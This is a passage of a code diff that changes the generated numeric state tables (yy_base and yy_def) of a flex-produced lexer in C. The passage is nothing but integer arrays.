5733, 5731, 5736, 5736, 5728, 5735, 5744, 5742, 5739, 5735, + 5736, 5731, 5781, 5733, 5742, 5748, 5750, 5755, 5757, 5744, + 5751, 5766, 5589,15466, 5761, 5770, 5762, 5765, 5785, 5788, + 5773, 5772, 5776, 5779, 5786, 5781, 5791, 5827, 5803, 5792, + + 5792, 5796, 5797, 5803, 5805, 5822, 5823, 5843, 5835, 5840, + 5852, 5840, 5835, 5841, 5851, 5847, 5851, 5867, 5855, 5857, + 5861, 5880, 5866, 5882,15466, 4247, 5884, 5883, 5877, 5884, + 4294,15466, 4277,15466, 5883, 5881, 5892, 5883, 5874, 5882, + 5902, 5901, 5888,15466,15466, 5891, 5901, 460, 474, 5896, + 5898, 5930, 5940, 5946, 5928, 5930, 5926, 5926, 5937, 5930, + 5927, 5941, 5936, 5949, 5937,15466,15466, 5947, 5963, 5970, + 15466,15466, 5946, 5935, 5934, 5940, 5949, 5954, 5945, 5952, + 5958, 5946, 5972, 6031, 6009, 5968, 5967, 6004, 5997, 5997, + 5999, 6015, 0, 6015, 6026, 6007, 6026, 6016, 6036, 6042, + + 6028,15466, 6044, 6045, 6046, 6047, 6049, 6037, 6043, 6053, + 6057, 6052, 6049, 6068,15466, 6052, 6069, 6080, 6081, 6078, + 4217, 4166, 6116, 2323, 6123, 6131, 6134, 6080,15466, 6092, + 6084, 6091, 6102, 6190, 6098, 6098, 6102, 6098, 6105, 6102, + 6118, 6110, 6107, 6107, 5836, 6155, 6125, 6130, 6116, 6119, + 6124, 6127, 6127, 6135, 6130, 6137, 6196, 0, 6163, 6166, + 6163, 6162, 6177, 6170, 6168, 6167, 6166, 6173, 6170, 0, + 6184, 6185, 6191, 6177, 6251, 0, 751, 6183, 6200, 6186, + 6199, 6208, 5623, 6216, 6226, 6220,15466, 6234, 6226, 5590, + 6009, 6229, 6228, 6224, 6240, 6245, 6228, 6244, 6231, 6237, + + 6236, 6234, 6261, 6244, 6250, 6243, 6254, 6255, 6264, 6265, + 6264, 6253, 6266, 6280,15466,15466,15466,15466, 6274, 6288, + 6291, 6273, 6288, 6295, 6297, 6297, 6295, 6284, 4161, 6301, + 6292, 6306, 6293, 6308,15466,15466,15466,15466, 6306, 6295, + 15466, 6298, 4093,15466,15466, 6313, 6307,15466, 6307, 6302, + 6319, 6306, 6330, 6328, 6336,15466, 660, 1292,15466, 1424, + 15466, 6329, 6333, 6341, 3985, 3927, 6151, 3926, 6370,15466, + 6335, 6348, 6349, 6340, 6346, 6357, 6351, 6346, 6344, 6351, + 3854, 3847, 6382, 3838, 6383, 6358, 6367, 6369, 6361, 6363, + 6359, 6365, 6355,15466, 6389, 6372, 6378, 6434, 6399, 6394, + + 6408, 6401, 6401, 6402, 6417, 6427, 6424, 6432, 6430, 6418, + 6431, 6418, 6426, 0, 6433, 6434, 6442,15466, 6447,15466, + 15466, 6427,15466, 6437, 6438, 6441, 3865, 6441, 6444, 6446, + 6439, 6454, 6456, 6454,15466,15466, 6449,15466, 6468, 3774, + 6516, 3765, 6528, 6449, 6489,15466, 6499, 6478, 6424, 5624, + 6484, 6497, 6504, 6502, 6488, 6484, 6491, 5734, 6499, 6495, + 6511, 6497, 6500, 6513, 6511, 6520, 6554, 0, 827, 6582, + 6523, 6526, 6545, 6545, 6556, 6546, 6557, 6559,15466, 5830, + 6549, 3789, 6551, 6554, 6562, 6564, 6554, 6566, 6563, 6564, + 6570, 6558, 6574, 0, 6566, 6572, 6567, 6581, 3781, 6572, + + 6569, 5843, 6581, 6571, 6644, 6597, 6598, 6599, 6592, 6612, + 15466,15466, 6613, 6606, 3705, 6604, 3699, 6636, 6610,15466, + 6610, 6618, 6607, 6617, 6611, 6619, 6625, 6637, 6617, 3689, + 6621, 6628, 6624, 6630, 6626, 6634, 6648,15466, 6633, 6649, + 6644, 3585, 6651, 6647, 6657,15466, 6658, 6659, 6658, 6653, + 6660, 6677, 6663, 6664, 6667, 6669, 6687,15466,15466, 6686, + 6692, 6689,15466, 6687, 6691, 6692, 3595, 1950,15466, 6697, + 6694, 3481, 3480, 3427, 6718, 3421, 6721, 6723, 6687, 6701, + 6698, 6695, 6709, 6713, 6715, 6708,15466, 6706, 3307, 3261, + 6735, 3298, 6750, 6751, 6722, 3292, 6718, 6725, 6733, 6721, + + 6724,15466, 6739, 6746, 6737,15466, 6748, 6745, 6753, 6755, + 6743, 6757, 6746, 6752, 6754, 6753, 6753, 6758, 6769, 6770, + 6777, 6773, 6786, 6788, 6784, 6790, 6792, 6796, 6798, 3277, + 6801, 3236, 6800, 6787, 6802, 6795, 6797, 6806, 6797, 6801, + 3189, 6857,15466, 3188, 6868,15466, 6805, 6803, 6813, 6821, + 6874, 0, 2424, 6555, 6810, 6830, 6830, 6834, 6848, 6843, + 6842, 6842, 6853, 6888, 6841, 6853,15466, 6863, 6846, 6863, + 6868, 6856, 3200, 6902, 0, 2944, 6851, 6866, 6867, 6886, + 6889, 6886,15466, 6886, 6933, 6884,15466, 6887, 6900, 6892, + 6887, 6909,15466, 6894, 6902, 6915, 6948, 6924, 6917, 6908, + + 6920, 6912,15466, 6913, 6923, 6959, 6935, 6927, 3156, 6987, + 925, 6926, 3093, 6930, 6946, 6950, 6939, 6940, 6951, 6956, + 6962,15466, 6954, 6968, 6952, 6951, 6959, 6968, 6977, 6968, + 6976, 6979, 6983, 6973, 6968, 6984, 6970, 6983, 6985, 6999, + 3071, 3070, 6984, 7003, 6993, 7002, 7009, 6996, 7012, 7016, + 7020,15466, 7018, 7019, 7010, 7005, 7009, 7014,15466, 7021, + 7022, 7018,15466, 7024, 7025, 7035, 7029, 7029, 7040, 7064, + 7066,15466, 7036, 7055, 7054, 7046, 7057, 7061, 7065,15466, + 7081, 7090, 7067, 7055, 7057,15466, 7072, 7074, 7062, 7068, + 7065, 7065, 7065, 7072, 7077, 7080, 7087, 7083, 7079, 7091, + + 7094, 7099, 7094,15466, 7112, 7107, 7114, 7116, 7102, 7123, + 7125, 7111, 7112, 7131, 7126, 7134, 7123,15466, 7119, 7134, + 7122, 7137, 7136, 7142,15466, 7147, 7138,15466, 3115, 7180, + 3101, 7140, 7151, 7144, 7142, 7162, 7166, 7154, 7170, 7162, + 7211, 0, 4039, 7169, 7173, 7162, 7186, 7186, 7171, 7191, + 15466, 3081, 7188, 7179, 7190, 7226, 7232,15466, 7184, 7178, + 0, 7237, 7206, 7198, 7201, 7241, 7217, 7199, 7227, 7227, + 7208, 7263, 7231, 7235, 7217, 7238, 7219, 7241, 7247, 7240, + 7291, 0, 4273, 7241, 7236, 7244, 1111, 3002, 1328, 7253, + 7248, 6884, 7250, 2993, 7287, 7265, 7275, 7262, 7265, 7283, + + 7274,15466, 7269, 7285, 2989, 2974, 7281, 7277, 7287, 7281, + 7285, 7287, 7315, 2957, 7296, 7297, 7281, 7298, 7291, 7287, + 7294, 7304, 7295, 7310, 7306,15466, 7311, 7307, 7319, 7318, + 7335, 7320, 7325, 7323, 7331, 7331, 7344, 7345, 7344, 7334, + 7336, 7347, 7338, 7373, 7351, 7339, 7340, 7340, 7337, 2926, + 7361, 7383, 2883, 2831, 7365,15466, 7375, 7363, 7367, 7369, + 7383, 7386, 7387, 7377, 2776, 7393, 7388,15466, 7396,15466, + 7396,15466, 7397, 7389, 7399,15466, 7400, 7391, 7405, 7404, + 7405, 7406, 7396, 7409, 7399, 7410, 7414,15466,15466,15466, + 7430, 7419, 7429,15466, 7424, 7429, 7444, 7429, 7440, 7428, + + 7450,15466, 7434, 2756, 7440, 7441, 7452, 7438, 7439, 7489, + 7442,15466, 7450, 7454, 7455, 7499, 7517,15466,15466, 7454, + 7474, 7473, 0, 7483, 7488, 7479, 7476, 7489, 7484, 7501, + 7487, 7532, 7496, 7543, 0, 4305, 7486, 7490, 7490, 7550, + 7508, 7499, 7524, 7519, 2684, 7519, 7531, 7526, 2620, 1679, + 2664, 7526, 7534,15466, 7559, 7528,15466, 7534, 7535, 7525, + 7533, 7540, 7549, 2556, 7554, 7546, 7560, 7561, 7564, 7555, + 7551, 7561, 7558, 7559,15466, 7566, 7565, 7564, 7582, 7569, + 7569, 7576, 7589, 7582, 7612, 7598, 7619, 7592,15466, 7585, + 7588, 7594,15466, 7593, 2541, 7609, 7617, 7606,15466, 7606, + + 7620, 7624, 7611, 7624, 2566, 7608, 7609, 7615, 7643,15466, + 7609, 7635,15466, 2530, 7636, 7633, 7638, 2490, 7642, 2476, + 7645, 2418, 7647, 7646, 7660, 7649,15466, 7658, 7643, 7649, + 7666, 7659, 7652, 7653, 7657,15466, 7659, 7662, 7681, 7663, + 15466, 7683, 7665, 7682, 7675, 7672, 7722, 7675, 7699, 7694, + 7693,15466, 7703, 7714, 7704, 7712, 7710, 7760, 7729, 7749, + 15466, 7727, 0, 7750, 7765, 0, 6426, 7715, 7720, 7719, + 2411, 7732, 7743, 7735, 7745, 7749, 7757, 7761, 7756, 7759, + 7767, 7810, 7776, 7762, 7782, 2405, 7775, 7779, 7769, 7751, + 7775, 7785, 7790, 7792,15466, 7801, 7808, 7811, 2508, 7798, + + 7793,15466, 7811, 7801, 7817,15466, 7811, 7822,15466, 7823, + 7811, 7824, 7825, 7827, 7832, 7821, 7826, 2324, 7832, 7832, + 7832, 7835, 7830, 2289, 7835, 7827, 7843, 7833,15466, 7846, + 15466, 7852,15466,15466, 7855,15466, 2281, 7885, 7862,15466, + 7863,15466, 7856, 7870, 7876, 7867, 7864, 7882, 7872,15466, + 7869, 7887, 7889, 7888, 7874, 7886, 7875, 7871, 7893, 7891, + 7899, 7887, 2309, 7900, 7897, 7908,15466, 7902, 7909, 7925, + 7927, 7923, 7924,15466,15466, 7933, 7935, 7921, 7921, 7800, + 7937, 7939,15466, 7972, 7973, 7932, 7946, 7951, 7939, 7935, + 7947, 7945, 7947, 8002, 7952, 8014, 7970, 2307, 7972, 7981, + + 8003, 0, 7990, 8007, 8008, 8000, 8008, 8009, 8016, 8007, + 8009, 8018, 8042, 8052, 8018, 8019,15466, 8013, 8024, 8038, + 0, 8080, 8025, 8044, 8055, 8088, 8041, 8090, 8045, 8057, + 8062, 8042, 7978, 8049, 8052, 8054, 8050, 8050, 2200, 8056, + 8071, 8058, 8074, 8067, 8075, 2175,15466, 2043, 8081, 8068, + 8079, 8080, 8073,15466, 1999, 8070, 8090, 8092, 8102,15466, + 8085,15466, 8085, 8112, 8112, 8111, 8119, 8121, 8116, 8122, + 2014, 8114, 8112, 8128, 8117, 8129, 8133, 8128, 8116, 8136, + 8133, 8127, 8137, 1989,15466, 8116,15466, 8143,15466, 8141, + 8133, 8135, 8147, 8151,15466, 8155, 8210, 8201, 8175, 8185, + + 8211, 8251, 8161, 8193, 8190, 8203, 8206, 8216, 8221, 8217, + 8217, 8250, 8218,15466, 8216, 8216, 8276, 8231, 0, 8248, + 8231, 8240, 8250, 8236, 8262, 8270, 8267, 8274,15466, 8308, + 8313, 8314, 8273, 8270, 8319, 8276, 8274, 8289, 8324, 8325, + 8336,15466, 8286,15466, 8304,15466, 8302,15466, 8314, 8310, + 1905, 8302, 8311, 8302, 8314, 8337, 8313, 8321, 8332, 8320, + 8339, 8332, 8333, 8348, 8335, 8349, 8347, 8343, 8344, 8353, + 8334, 8359, 8354, 8354,15466, 8349, 8357, 8361, 8356, 8363, + 8389, 8374, 8385, 8388, 8392, 1918, 8389, 8394, 8396, 8398, + 8402, 1897, 8379,15466, 8402,15466,15466,15466, 8406,15466, + + 8390, 8420, 8462, 8447, 8461, 1879, 8469, 0, 8428, 8439, + 8440, 8430, 8442, 8452, 8460,15466, 8456, 8466,15466,15466, + 8501, 8477, 8478, 8463, 8468, 8479, 8528, 8480, 8467, 8479, + 8484, 0, 8453, 8543, 8544, 8503, 8504, 8551, 8512, 8506, + 8515, 1790, 8468, 8569, 8578, 8500,15466,15466,15466, 8543, + 8532, 8542, 8536, 8538, 1638,15466, 8575, 8560, 8569, 8580, + 8585, 8567, 8584, 8585, 1621, 8573, 1566,15466, 8574,15466, + 8588, 8589, 8581, 8580, 8584,15466, 1602, 8591, 8585, 2779, + 8593, 8587, 8629, 8616, 8623, 8624, 8639, 0, 1571, 8625, + 8627, 8642, 8644, 1580, 8644, 8632, 8563, 8667, 8690, 8716, + + 15466, 1571, 8645, 8648, 8652, 8564, 8663, 8669, 8681, 8565, + 8676, 8676, 8678,15466, 8681, 8684, 8744, 8698, 8683, 8684, + 8749, 8679, 1558, 8630, 0, 1545, 8770, 0, 8690, 8698, + 5985, 8741, 8741, 8736, 8774, 8805, 8763,15466, 8756, 8741, + 8767, 8765,15466, 8776, 8766, 8775, 8783, 1485, 8781, 8785, + 8769, 8773, 8778, 8774, 8780, 8789, 8803, 8788, 8789, 8798, + 8811, 8817, 8818,15466, 1524, 8817, 3424,15466, 4768, 8818, + 8853, 8815, 1494, 8819, 8820, 0, 0, 8838,15466, 8823, + 8837,15466,15466, 8899, 8898, 8907,15466, 8843, 8571, 8835, + 8933, 8679, 0, 8858, 8854, 8863, 8864, 8874, 8860, 8866, + + 8942, 8892, 8903,15466, 8969, 8914, 8902, 1457, 1409, 8910, + 8958, 8626, 1347, 8853, 8900, 8918, 8937, 8993, 8947, 8937, + 8944, 8964,15466, 8971, 8972, 8960, 8970, 8967, 8973, 8971, + 8972, 8984, 8975, 8987, 8980, 8992, 8993, 8544, 9025, 8989, + 15466, 8991,15466, 1299, 4825,15466, 5182, 9010,15466, 1154, + 8994, 0, 8989,15466, 8997, 9055, 9072, 0, 0, 0, + 15466, 8997, 9056, 9006, 9069, 9079, 0, 0, 9095, 0, + 9043, 9031, 9037, 9043, 9060, 9060, 9062, 9095, 9053, 9069, + 15466,15466, 9071, 9073, 9060, 9080, 1047, 8930, 1087, 9073, + 9073, 9075, 9090, 9078, 9084, 9087, 9090, 9094, 9106, 9090, + + 9101, 9111,15466, 9108, 9115, 9132, 9101,15466, 9103, 9107, + 15466,15466, 9119, 9151,15466, 6205,15466, 9111,15466, 9116, + 9130,15466, 1080, 9112, 9179, 0, 7801, 0, 9158, 0, + 1062, 9118, 9138, 9144, 9151, 9150, 9148, 9151, 9157, 9196, + 9197, 9198, 9167, 9169, 9200, 9164, 9171,15466, 9177, 9177, + 9178,15466, 9164, 9170, 9172, 9192, 9189, 9179, 9184, 9185, + 15466, 9182, 9189, 934,15466,15466, 9196, 9188, 9209, 9213, + 15466, 9197, 963, 0, 9210, 861, 9222,15466, 9199, 9204, + 15466, 9207, 9213, 9216, 9223, 9220, 9264, 9235, 9279, 9280, + 9287, 9289, 9226, 9230,15466, 9249, 9246, 702, 9262, 9268, + + 9265,15466, 636, 9264, 9260, 9265, 9271, 9263, 9276, 603, + 454, 9271, 9307,15466, 403, 9303, 410, 9274, 9270, 9276, + 9273,15466, 9267, 9274, 0, 9317, 9278, 9319, 0, 9345, + 0, 9349, 9356,15466, 9287,15466, 9291, 9300, 9289, 9303, + 9314, 9317,15466, 9310, 9313, 9331, 9315, 9337, 9333, 0, + 373, 9369, 9363, 9327, 9373, 9329, 9341, 9384,15466, 9347, + 374, 366, 9386, 0, 9397, 0,15466, 9363, 9360, 9381, + 9361, 9369, 9360, 9362, 9374, 9365, 9377, 9374, 9368, 9370, + 9376, 0, 0, 332, 9423, 0, 9377, 9433, 9424, 9386, + 9446, 9419,15466,15466, 318, 109, 9428, 9431,15466, 9415, + + 9428, 9432,15466,15466, 9420,15466, 9441, 9432, 9437, 9438, + 0, 43,15466, 9473, 9504, 9435, 9491, 9471,15466,15466, + 9485, 9487,15466, 9488, 9498,15466, 6, 9489, 9499,15466, + 15466, 9516, 9549,15466,15466, 9517,15466, 9514,15466,15466, + 9511, 9565, 9517, 9522, 9534,15466, 9540, 9533,15466, 9545, + 9547, 9562,15466,15466, 9624, 9643, 9662, 9681, 9700, 9719, + 9738, 9757, 9776, 9795, 9814, 9833, 9852, 9871, 9890, 9909, + 9928, 9947, 9966, 9985,10004,10023,10042,10061,10080,10099, + 10118,10137,10156,10175,10194,10213,10232,10251,10270,10289, + 10308,10327,10346,10365,10384,10403,10422,10441,10460,10479, + + 10498,10517,10536,10555,10574,10593,10612,10631,10650,10669, + 10688,10707,10726,10745,10764,10783,10801,10820,10839,10858, + 10877,10896,10914,10933,10952,10971,10990,11009,11028,11047, + 11066,11085,11104,11123,11142,11161,11180,11199,11218,11237, + 11256,11275,11294,11313,11332,11351,11370,11389,11408,11427, + 11446,11465,11484,11502,11521,11540,11559,11578,11597,11616, + 11635,11653,11672,11691,11710,11729,11748,11767,11786,11805, + 11824,11843,11862,11881,11900,11919,11938,11957,11976,11995, + 12014,12033,12052,12071,12090,12109,12128,12147,12166,12184, + 12203,12222,12241,12260,12279,12298,12317,12335,12354,12373, + + 12392,12411,12430,12449,12468,12487,12506,12525,12544,12563, + 12582,12601,12620,12639,12658,12677,12696,12715,12734,12753, + 12772,12791,12810,12829,12848,12867,12886,12905,12924,12943, + 12961,12980,12999,13018,13037,13056,13075,13094,13113,13132, + 13151,13170,13189,13208,13227,13246,13265,13284,13303,13322, + 13341,13360,13379,13398,13417,13436,13455,13474,13493,13512, + 13531,13550,13569,13587,13606,13625,13644,13663,13682,13694, + 13708,13727,13746,13765,13784,13803,13822,13841,13860,13879, + 13898,13917,13936,13955,13974,13993,14012,14021,14037,14055, + 14072,14091,14110,14117,14133,14152,14171,14186,14203,14222, + + 14241,14260,14278,14295,14314,14333,14352,14371,14389,14406, + 14425,14439,14456,14475,14493,14506,14522,14539,14553,14569, + 14585,14598,14615,14632,14649,14664,14680,14693,14710,14727, + 14744,14763,14778,14795,14812,14825,14844,14862,14880,14898, + 14916,14934,14946,14962,14980,14998,15011,15027,15046,15064, + 15083,15101,15120,15138,15155,15173,15188,15205,15223,15242, + 15260,15279,15298,15316,15334,15353,15366,15382,15400,15418, + 15430,15446 } ; -static const flex_int16_t yy_def[4279] = +static const flex_int16_t yy_def[4473] = { 0, - 3994, 3994, 3993, 3, 3995, 3995, 3, 3, 3996, 3996, - 3996, 3996, 3997, 3997, 3998, 3998, 3999, 3999, 4000, 4000, - 4001, 4001, 3995, 3995, 3995, 3995, 4002, 4002, 4003, 4003, - 4003, 4003, 4004, 4004, 4005, 4005, 3993, 37, 37, 37, - 3995, 3995, 3995, 3995, 3995, 3995, 4006, 4006, 4007, 4007, - 4008, 4008, 4009, 4009, 4010, 4010, 4011, 4011, 4012, 4012, - 3995, 3995, 4013, 4013, 4014, 4014, 4012, 4012, 3995, 3995, - 4015, 4015, 4016, 4016, 3993, 3993, 3993, 3993, 3993, 3993, - 4017, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 131, 3993, 3993, 3993, 4018, 4018, 4018, 3993, - 3993, 4018, 4019, 4019, 4019, 3993, 4020, 4019, 4021, 4021, - 4021, 3993, 4022, 3993, 4021, 4023, 4023, 3993, 4023, 3993, - 3993, 4024, 3993, 3993, 3993, 4024, 4025, 4024, 4026, 4026, - 4026, 3993, 4027, 4026, 3993, 4028, 3993, 4026, 4029, 4029, - 4029, 3993, 4030, 4029, 4031, 4031, 4031, 3993, 3993, 4031, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 4032, 4032, 3993, 3993, - 4032, 4033, 4033, 3993, 4034, 4033, 3993, 4035, 4036, 4037, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 4038, 3993, 4039, 4038, 3993, 3993, 3993, 4040, 3993, 4041, - 3993, 4040, 3993, 3993, 3993, 4042, 4042, 4042, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 4043, 3993, 4043, 4043, - 4043, 3993, 3993, 4043, 4043, 4043, 4044, 3993, 4045, 4044, - 4044, 4044, 3993, 4044, 4044, 4044, 4046, 3993, 4047, 4046, - 4046, 4046, 3993, 4046, 4046, 4046, 4048, 4048, 3993, 4048, - 3993, 4048, 4049, 3993, 4049, 3993, 4050, 4051, 4052, 4051, - 4049, 4053, 3993, 4054, 4053, 4053, 4053, 4053, 3993, 4053, - - 3993, 4055, 4056, 4057, 4056, 4058, 4056, 3993, 3993, 4053, - 4053, 4059, 3993, 4060, 4059, 4059, 4059, 3993, 4059, 4059, - 4059, 4061, 3993, 4061, 4061, 3993, 4061, 3993, 3993, 4061, - 4061, 4061, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - - 3993, 3993, 3993, 3993, 3993, 4062, 3993, 4062, 3993, 3993, - 4062, 4063, 3993, 4064, 4063, 3993, 4063, 4065, 4066, 4067, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 4068, 3993, - 4069, 4068, 3993, 4068, 3993, 4070, 3993, 4071, 4070, 3993, - 4070, 4072, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 4073, 3993, 3993, 4073, 4073, 4074, 4075, 3993, 3993, - 4075, 4075, 4076, 4077, 3993, 3993, 4077, 4077, 3993, 3993, - 4078, 4079, 4078, 4080, 4081, 4082, 4082, 4082, 4081, 4083, - 4084, 3993, 3993, 4085, 4086, 4085, 4087, 4085, 4088, 4089, - 4089, 4089, 4090, 4090, 4090, 4091, 4089, 4084, 4084, 4092, - 4093, 3993, 3993, 4093, 4093, 3993, 4094, 3993, 3993, 4094, - 3993, 4094, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 4095, 3993, 3993, 4096, - 4097, 3993, 3993, 3993, 3993, 3993, 3993, 4098, 4099, 3993, - 3993, 4100, 4101, 3993, 3993, 4102, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 4103, 3993, 4103, 4104, 3993, 4104, 4105, 3993, 4105, 3993, - 4106, 4107, 4107, 4107, 4108, 4106, 4108, 4108, 3993, 4109, - 3993, 3993, 4109, 3993, 4084, 3993, 4110, 4110, 4110, 4111, - 4112, 4111, 4111, 4113, 4114, 4110, 4115, 4112, 4113, 4112, - - 4112, 4084, 4116, 4084, 3993, 4116, 3993, 4116, 4116, 4117, - 4084, 4118, 3993, 4118, 4119, 3993, 4119, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 4120, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - - 4121, 3993, 4122, 3993, 3993, 3993, 3993, 3993, 4123, 3993, - 4124, 3993, 4125, 4125, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 4126, 3993, 4127, - 3993, 4128, 4129, 4130, 4131, 3993, 4110, 4132, 4132, 4132, - 4113, 4110, 4112, 4113, 4112, 4133, 4112, 4134, 4135, 4136, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 4137, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 4120, 4138, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 4139, 3993, 3993, 3993, 3993, 3993, - - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 4140, 3993, 3993, 3993, 3993, 4141, 3993, 4142, 3993, 4143, - 4143, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 4129, 4130, 4129, 4130, 4132, 4112, - 4132, 4113, 4132, 4113, 4144, 4113, 4113, 4112, 4134, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 4137, 4145, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 4146, - 3993, 3993, 3993, 4138, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 4139, 3993, 4139, - - 4147, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 4143, - 4143, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, - 3993, 3993, 3993, 3993, 3993, 3993, 3993, 3993, 